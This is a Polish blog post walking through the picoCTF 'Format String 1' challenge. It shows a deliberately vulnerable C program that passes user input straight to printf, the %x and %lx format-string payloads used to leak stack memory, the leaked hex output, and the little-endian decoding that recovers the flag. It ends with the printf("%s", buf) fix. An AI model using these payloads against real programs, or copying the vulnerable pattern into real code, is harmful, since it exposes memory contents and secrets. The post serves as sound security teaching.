piątek, 10 stycznia 2025

PicoCTF - Format string 1

W tym poście chciałbym opisać rozwiązanie zadania Format String 1 z picoCTF.



Do zadania został dołączony kod programu:

  1. #include <stdio.h>
  2.  
  3.  
  4. int main() {
  5.   char buf[1024];
  6.   char secret1[64];
  7.   char flag[64];
  8.   char secret2[64];
  9.  
  10.   // Read in first secret menu item
  11.   FILE *fd = fopen("secret-menu-item-1.txt", "r");
  12.   if (fd == NULL){
  13.     printf("'secret-menu-item-1.txt' file not found, aborting.\n");
  14.     return 1;
  15.   }
  16.   fgets(secret1, 64, fd);
  17.   // Read in the flag
  18.   fd = fopen("flag.txt", "r");
  19.   if (fd == NULL){
  20.     printf("'flag.txt' file not found, aborting.\n");
  21.     return 1;
  22.   }
  23.   fgets(flag, 64, fd);
  24.   // Read in second secret menu item
  25.   fd = fopen("secret-menu-item-2.txt", "r");
  26.   if (fd == NULL){
  27.     printf("'secret-menu-item-2.txt' file not found, aborting.\n");
  28.     return 1;
  29.   }
  30.   fgets(secret2, 64, fd);
  31.  
  32.   printf("Give me your order and I'll read it back to you:\n");
  33.   fflush(stdout);
  34.   scanf("%1024s", buf);
  35.   printf("Here's your order: ");
  36.   printf(buf);
  37.   printf("\n");
  38.   fflush(stdout);
  39.  
  40.   printf("Bye!\n");
  41.   fflush(stdout);
  42.  
  43.   return 0;
  44. }

W kodzie powyżej dane są pobierane przez funckję scanf w formacie jaki zostanie do niego przekazany po tym zostaje bezpośrenio wyświetlony przez funkcję printf. Z tego powodu możemy wykorzystać takie specifikatory formatu jak %p, %x, %lx aby podglądnąć zawartość pamięci programu. 

Po uruchomieniu kodu programu otrzymuje się następujące informacje. Po wprowadzeniu %x pokazują się dane z pamięci:

  1. Give me your order and I'll read it back to you:
  2. %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
  3. Here's your order: 402118010513a0001480880a347834ac5b75a010304e60105294d01ac5b7670006f6369706d316e34333179373431665f6336393371052b8d87743072506c797453
  4. Bye!

Na samym początku można spróbować wyszukać w ciągu string picoCTF oznaczający pozycję flagi:

  1. picoCTF na hex 7069636F4354

Po wyszukiwaniu znajduje następujący ciąg:

  1. 6f636970

Nie widać pozostałej części danych więc najprawdopodobniej program działa na 64 bitach. %x wyświetla dane dla 32 bitów, więc z tego powodu może wynikać brak danych. 

Zmodyfikuje polecenie i zamiast %x wykorzystam %lx:

  1. Give me your order and I'll read it back to you:
  2. %lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx        
  3. Here's your order: 402118077aa49eb0a00082a880a3478347ffd4957cba077aa49ca1e6077aa49ec64d017ffd4957cc70007b4654436f636970355f31346d316e34
  4. Bye!

Teraz szukany string czyli picoCTF jest juz widoczny. 

  1. 54436f636970

Natomiast jeszcze nie widać całego ciągu znaków, potrzebne jest odczytanie większej ilości danych. 

  1. Give me your order and I'll read it back to you:
  2. %lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx  
  3. Here's your order: 402118,0,7f07040bca00,0,c94880,a347834,7ffc28e558b0,7f0703eade60,7f07040d24d0,1,7ffc28e55980,0,0,7b4654436f636970,355f31346d316e34,3478345f33317937,30355f673431665f,7d343663363933,7,7f07040d48d8,2300000007,206e693374307250,a336c797453,9,7f07040e5de9,7f0703eb6098,7f07040d24d0,0,7ffc28e55990,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25
  4. Bye!

Jak widać powyżej dane zaczeły się już powtarzać (2c786c252c786c25 czyli ,xl%,xl%). Oznacza to że doszliśmy do miejsca w pamięci w które został wprowadzony wpisany ciąg znaków. 

Teraz już łatwo zlokalizować flagę:

  1. 7b4654436f636970,
  2. 355f31346d316e34,
  3. 3478345f33317937,
  4. 30355f673431665f,
  5. 7d343663363933,

Po konwersji hex na ascii otrzymałem string odwrócony:


Teraz można go odwrócić ręcznie lub zamienić little endian na big endian:

  1. 7b4654436f636970, => 7069636F4354467B
  2. 355f31346d316e34, => 346E316D34315F35
  3. 3478345f33317937, => 377931335F347834
  4. 30355f673431665f, => 5F663134675F3530
  5. 7d343663363933,   => 3339366336347D

Jeśli wprowadzi się przestawione bajty do konwertera HEX na ASCII to wyświetli się poprawna flaga do wysłania:


Aby uniknąć takich błędów w przypadku własnych programów należy unikać bezpośredniego przekazywania bufora do funkcji printf. 

  1. printf(buf);        ==> tak nie
  2. printf("%s", buf);  ==> tak ok